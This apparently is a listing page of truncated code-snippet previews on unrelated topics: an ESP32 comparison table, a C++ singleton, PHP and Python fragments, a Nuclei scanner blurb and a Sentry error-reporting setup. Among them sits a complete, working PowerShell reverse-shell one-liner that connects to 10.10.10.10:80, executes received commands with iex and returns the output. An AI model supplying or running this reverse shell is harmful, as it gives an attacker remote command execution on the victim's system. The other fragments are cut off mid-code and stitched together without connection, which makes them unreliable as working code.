A minimal table to compare the Espressif's MCU families.
ESP8266 | ESP32 | ESP32-S2 | ESP32-S3 | ESP32-C3 | ESP32-C6 | |
---|---|---|---|---|---|---|
Announcement Date | 2014, August | 2016, September | 2019, September | 2020, December |
// C++ 11 way, thread-safe version, guaranteed to be destroyed. | |
// For further details, see §6.7 [stmt.dcl] p4 of C++ 11 standard | |
class Singleton | |
{ | |
public: | |
static Singleton& instance(); | |
Singleton(Singleton const&) = delete; // Don't forget to disable copy | |
void operator=(Singleton const&) = delete; // Don't forget to disable copy |
import os | |
import asyncio | |
import subprocess | |
import importlib | |
import sys | |
from dotenv import load_dotenv | |
from lionagi import Session | |
from e2b_code_interpreter import CodeInterpreter | |
from llama_index.core import ( | |
VectorStoreIndex, |
<?php | |
namespace App\Controller; | |
use App\Utils\Paginator; | |
use Doctrine\ORM\EntityManagerInterface; | |
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; | |
use Symfony\Component\HttpFoundation\Request; | |
use Symfony\Component\HttpFoundation\Response; |
<? | |
# MIT license, do whatever you want with it | |
# | |
# This is my invoice.php page which I use to make invoices that customers want, | |
# with their address on it and which are easily printable. I love Stripe but | |
# their invoices and receipts were too wild for my customers on Remote OK | |
# | |
require_once(__DIR__.'/../vendor/autoload.php'); |
import contextlib | |
@contextlib.contextmanager | |
def lennyface(): | |
global print | |
oldprint = print | |
def new_print(*args, **kwargs): | |
#newargs = [a.replace(' ', '( ͡° ͜ʖ ͡°)') for a in args] | |
args = list(args) |
”Nuclei is used to send requests across targets based on a template, leading to zero false positives and providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols, including TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless etc. With powerful and flexible templating, Nuclei can be used to model all kinds of security checks.”
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
import * as Sentry from '@sentry/browser'; | |
import getConfig from 'next/config'; | |
import React from 'react'; | |
const { SENTRY_DSN } = getConfig().publicRuntimeConfig; | |
Sentry.init({ dsn: SENTRY_DSN }); | |
/** | |
* Send an error event to Sentry. |